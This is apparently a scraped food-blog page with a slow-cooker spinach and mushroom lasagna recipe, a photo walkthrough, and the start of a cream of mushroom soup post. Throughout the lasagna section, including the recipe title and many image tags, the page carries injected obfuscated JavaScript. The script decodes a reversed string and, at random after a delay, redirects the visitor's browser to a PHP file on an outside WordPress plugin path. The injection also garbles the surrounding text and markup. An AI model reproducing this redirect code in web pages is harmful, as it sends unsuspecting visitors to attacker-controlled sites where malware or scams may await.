Will you have vegetarians at your Thanksgiving table?  Then you are in luck! This is a vegetarian lasagna that is easy to make and delicious to serve.

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The best part of this recipe?  You can plug the filled slow cooker into a socket in any room (providing you do so on a flat surface), and save up that much-coveted kitchen counter space for all of the chopping and mixing that comes with Thanksgiving cooking.

I don’t often toot my own horn, but I am especially proud of this recipe as it was the very first thing I made when I was recovering from my foot injury earlier this year.  Standing for long periods of time was not an option, so my slow cooker – which I was already very fond of – became my best friend for a while there.

While I was putting this together (in April), I was thinking that if this dish came out OK, I would pass it along to my cousin Terry who has the challenge of adding a substantial dish to her holiday table so that her vegetarian son and his girlfriend can enjoy the feast as much as the meat eaters.  Well, I was VERY happy with the finished dish – as was Dave – so I’ve saved it up for my Thanksgiving posts.

There is a family-based irony to this recipe as well.  When we were growing up and every holiday took place at my parents house, my mother served her mile-high, meat laden, incredibly delicious lasagna AS A FIRST COURSE before the turkey and all of the trimmings came out (including her meat-based stuffing).  When we kids were finally old and brave enough, we joined in solidarity to beg her to not make the lasagna, as it was too good to pass up and we could never fully enjoy all of the other creations she put forth that day.  She fumed for a couple of years, but eventually let it go.  I know many, many Italian-American kids who tell the same story – it’s a part of our heritage, after all.  And here I am, now offering a lasagna recipe for Thanksgiving!

The pictures in this post are a bit rudimentary, taken on my iPhone while I was leaning both on one leg and the kitchen counter top.  BUT, there are pictures just the same.

The recipe follows first – $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Mushroom Slow Cooker Lasagna” href=”https://mysliceoftheapple.com/?p=8440″>along with a link to a printable version of the recipe (click here)and then comes the (rudimentary) pictorial.

Even if you are not expecting vegetarians this Thanksgiving, do try this recipe some other time.  You’ll be glad you did.  I know I plan to make it again and again.  And I must once again declare my love for my slow cooker.  Whether I am injured or not, it rocks!

Slow Cooker Spinach and Mushroom Lasagna

  • 2 15-ounce tubs ricotta cheese
  • 2 eggs
  • ¼ to ½ grated Romano cheese
  • 2 tablespoons dried parsley flakes
  • 1 10-ounce package frozen chopped spinach, thawed
  • 1 8-ounce package cremini mushrooms, cleaned and sliced
  • 10-12 pieces dried lasagna noodles
  • 2 quarts marinara sauce (jarred is fine)
  • 6 cups shredded mozzarella cheese
  • ½ cup grated Parmesan cheese

In a large bowl, mix the ricotta cheese, the eggs, the Romano cheese, and the parsley flakes until they are fully combined.

Using your hands, squeeze all of the moisture out of the thawed spinach, and add the spinach to the cheese mixture.  Stir well to combine.

Add the mushroom slices to the mixture, and stir well to combine.

Cover the bottom of a 6-quart slow cooker insert with marinara sauce.

Cover the marinara sauce with 3-4 pieces of lasagna noodles, breaking some in pieces in order to completely cover the sauce.

Add 1/3 of the cheese and vegetable mixture on top of the noodles, and spread evenly to completely cover the noodles.

Cover the cheese and vegetable mixture with a layer of marinara sauce, spreading the sauce out to completely cover the mixture.

Cover the marinara sauce with 2 cups of the shredded mozzarella cheese.

Repeat this process twice, starting with the noodles, then the cheese and vegetable mixture, then the sauce, then the mozzarella cheese.  Your very last layer should be the mozzarella cheese.

Sprinkle the top of the lasagna with the Parmesan cheese.

Cover the slow cooker and cook the lasagna on LOW for 4 hours.  (If not serving the lasagna soon, let the lasagna keep on WARM.)

About  45 minutes before you are planning to serve the lasagna, turn off the slow cooker and uncover the lasagna to let it set for at least 40 minutes.  (Don’t worry – the mixture will still be hot when served.)

This lasagna will yield 10-12 servings.
Recipe ©Lori Florio

The recipe along with the pictorial:

In a large bowl, mix the ricotta cheese…

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…the eggs…

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…the Romano cheese…

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and the parsley flakes…

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…until they are fully combined:

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Using your hands, squeeze all of the moisture out of the thawed spinach, and add the spinach to the cheese mixture:

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Stir well to combine:

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Add the mushroom slices to the mixture…

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and stir well to combine:

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”12-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”480″ height=”592″ />

Cover the bottom of a 6-quart slow cooker insert with marinara sauce:

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”14-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”480″ height=”619″ />

Cover the marinara sauce with 3-4 pieces of lasagna noodles, breaking some in pieces in order to completely cover the sauce:

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”15-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”480″ height=”537″ />

Add 1/3 of the cheese and vegetable mixture on top of the noodles…

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”16-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”480″ height=”537″ />

and spread evenly to completely cover the noodles:

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”17-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”459″ height=”537″ />

Cover the cheese and vegetable mixture with a layer of marinara sauce, spreading the sauce out to completely cover the mixture:

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”18-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”454″ height=”516″ />

Now cover the marinara sauce with 2 cups of the shredded mozzarella cheese:

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”19-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”471″ height=”538″ />

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”20-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”460″ height=”516″ />

Repeat this process twice, starting with the noodles…

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”21-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”480″ height=”560″ />

…then the cheese and vegetable mixture…

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”22-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”480″ height=”522″ />

…then the sauce…

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”24-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”461″ height=”565″ />

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“\’php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-Mushroom-Slow-Cooker-Lasagna-Photo-by-Lori-Florio-My-Slice-of-The-Apple.jpg” alt=”25-spinach-and-mushroom-slow-cooker-lasagna-photo-by-lori-florio-my-slice-of-the-apple” width=”480″ height=”500″ />

…then the mozzarella cheese…

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(Last layer!)

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(Your very last layer should be the mozzarella cheese.)

Sprinkle the top of the lasagna with the Parmesan cheese.  Cover the slow cooker…

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and cook the lasagna on LOW for 4 hours:

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(If not serving the lasagna soon, let the lasagna keep on WARM.)

About  45 minutes before you are planning to serve the lasagna, turn off the slow cooker and uncover the lasagna to let it set for at least 40 minutes:

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(Don’t worry – the mixture will still be hot when served.)

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This lasagna will yield 10-12 servings

Recipe ©Lori Florio

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(To print this recipe, right-click on your mouse and select the “print” option.)

Slow Cooker Spinach and Mushroom Lasagna

  • 2 15-ounce tubs ricotta cheese
  • 2 eggs
  • ¼ to ½ freshly Romano cheese
  • 2 tablespoons dried parsley flakes
  • 1 10-ounce package frozen chopped spinach, thawed
  • 1 8-ounce package cremini mushrooms, cleaned and sliced
  • 10-12 pieces dried lasagna noodles
  • 2 quarts marinara sauce (jarred is fine)
  • 6 cups shredded mozzarella cheese
  • ½ cup grated Parmesan cheese

In a large bowl, mix the ricotta cheese, the eggs, the Romano cheese, and the parsley flakes until they are fully combined.

Using your hands, squeeze all of the moisture out of the thawed spinach, and add the spinach to the cheese mixture.  Stir well to combine.

Add the mushroom slices to the mixture, and stir well to combine.

Cover the bottom of a 6-quart slow cooker insert with marinara sauce.

Cover the marinara sauce with 3-4 pieces of lasagna noodles, breaking some in pieces in order to completely cover the sauce.

Add 1/3 of the cheese and vegetable mixture on top of the noodles, and spread evenly to completely cover the noodles.

Cover the cheese and vegetable mixture with a layer of marinara sauce, spreading the sauce out to completely cover the mixture.

Cover the marinara sauce with 2 cups of the shredded mozzarella cheese.

Repeat this process twice, starting with the noodles, then the cheese and vegetable mixture, then the sauce, then the mozzarella cheese.  Your very last layer should be the mozzarella cheese.

Sprinkle the top of the lasagna with the Parmesan cheese.

Cover the slow cooker and cook the lasagna on LOW for 4 hours.  (If not serving the lasagna soon, let the lasagna keep on WARM.)

About  45 minutes before you are planning to serve the lasagna, turn off the slow cooker and uncover the lasagna to let it set for at least 40 minutes.  (Don’t worry – the mixture will still be hot when served.)

This lasagna will yield 10-12 servings

Recipe ©Lori Florio

Please follow and like us:
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Happy Meatless Monday!

It’s rainy and muggy in NYC today, and some folks – myself included – are still suffering from allergies.

There is nothing better for stuffy noses and scratchy throats than a nice warm bowl of silky soup.  Being Meatless Monday, Cream of Mushroom Soup sounds just perfect.

1 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

(I really have to buy some colorful soup bowls, don’t I?

A quick aside: early in my event planning career, when I was first learning the ropes, I bought Letitia Baldrige’s “New Complete Guide to Executive Manners”, focusing on the menu and event planning sections of the book.  For those of you unfamiliar with Ms. Baldrige, she was Jacqueline Kennedy’s Social Secretary in the Kennedy White House, and part of her job was assisting The First Lady with menu and dinner party planning.  Her tails of disasters – she called them “gaffes” – and how she remedied them are quite entertaining, particularly if you do a lot of entertaining and can relate to most.  (Professional event planners certainly can!)  I’m glad I read the book for many reasons, not the least of which was the fact that it help me get promoted all the way up to Vice President in my career at the bank.

One of her most memorable gaffes – to this foodie, anyway – was the time she “inadvertantly produced an all-white menu for a very important diplomatic dinner in Rome given by Ambassador Clare Booth Luce and her husband, Henry Luce.  It was white from the cream of celery soup through to the creme brulee dessert. Even the toast points around the white fish with its sauce were made of white bread.  It caused Henry Luce to ask if I was perhaps color blind.”

She assured Mr. Luce that she was not color blind, “and for a while after this incident, the food platters in the ambassador’s residence in Rome were as colorful as a Mondrian painting.  In fact, it was over-kill, tutti frutti, Mr. Luce assured me.”

So, yeah, I need to buy some colorful soup bowls for when I make white soups like this one.  Thank God for the chopped chives I used in the picture that match the placemats and napkins.)

I know, I know…there she goes digressing again!

This Cream of Mushroom soup is decidedly mushroom-y, thanks to my idol, Ina Garten.  I watched her make a cream of wild mushroom soup once, and looked on in appreciation when she made mushroom stock out of the mushroom stems.  It’s such a small thing, but it deepens the flavor of the soup immensely, and it satisfies the Italian cook in me who doesn’t like to waste anything.  Ina also gave me the idea of using cremini mushrooms instead of plain old button mushrooms, and adding fresh thyme along with the fresh parsley I normally use.  That, too, aided in a tasty soup.  (As always, thank you, Ina!)

Here’s the recipe and the pictorial.  Hang tough, fellow allergy sufferers – we’ll survive!

Cream of Mushroom Soup
-  16 ounces cremini mushrooms, cleaned
–  Olive oil
–  1 large carrot, chopped
–  1 medium onion, chopped
–  1 spring of fresh thyme
–  Salt and pepper
–  2 cups chicken stock
–  4 cups water
–  1 stick butter
–  2 large leeks, trimmed of dark green top, cleaned, and chopped
–  4 tablespoons (1/4 cup) flour
–  1 cup dry white wine (I use Pinot Grigio)
–  1 cup whole milk
–  1 cup heavy cream
–  1 teaspoon minced fresh thyme
–  1 tablespoon minced fresh parsley
–  1 tablespoon chopped chives, for garnish

Pull the stems off of the mushrooms, chop them,  and set them aside.

Slice the mushrooms 1/4-inch thick and set aside.

Make the stock:

Coat the bottom of a stock pot with the oil, and turn heat on to medium.  Add the chopped mushroom stems, the carrots, the onion, and the thyme sprig, and stir to combine. Sprinkle with salt and pepper, stir again, and saute for 8 – 10 minutes, until the vegetables begin to soften.

Add the chicken stock and 4 cups of water, and bring the mixture to a boil.  Lower the heat and simmer, uncovered, for 30 minutes.  Strain the stock over a large bowl, pressing on the solids to extract all of their liquid.  Discard the solids in the strainer.  This should yield about 5 cups of stock; if you don’t have 5 cups, add enough water to get you there.

Wipe out the stock pot, and return it to the stove.

Make the soup:

Add the stick of butter to the cleaned stock pot, and place it over medium-low heat.  Once the butter has melted, add the leeks, sprinkle with salt and pepper, and saute for 15 minutes, until the leeks become translucent.  Add the sliced mushrooms to the leeks, and turn the heat up to medium;  saute for 10-15 minutes until the mushrooms are softened and begin to brown.

Add the flour, and stir for 1 – 2 minutes, until a paste forms with the mushrooms.  Add the white wine and stir, scraping up the brown bits from the bottom of the stock pot.  (The mixture will begin to thicken.)  Add in the mushroom stock and the thyme leaves, and stir to combine.  Add in 1/2 teaspoon salt and some freshly ground pepper, stir again, and bring the stock to a boil.  Reduce the heat and simmer for 20 minutes.  Add in the milk, the heavy cream, and the parsley; stir well.

Taste the soup at this point, and add salt if needed.  Turn the heat to medium-high and heat the milk and cream until the soup begins to steam, then turn off the heat.

Serve the soup hot, garnished with the chopped chives.

This will serve 4 to 6 people.

How To Make Cream of Mushroom Soup, the pictorial:

Pull the stems off of the mushrooms, chop them,  and set them aside:

2 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Slice the mushrooms 1/4-inch thick and set aside:

10 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Make the stock:

Coat the bottom of a stock pot with the oil and turn heat on to medium:

4 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Add the chopped mushroom stems, the carrots, the onion, and the thyme sprig…

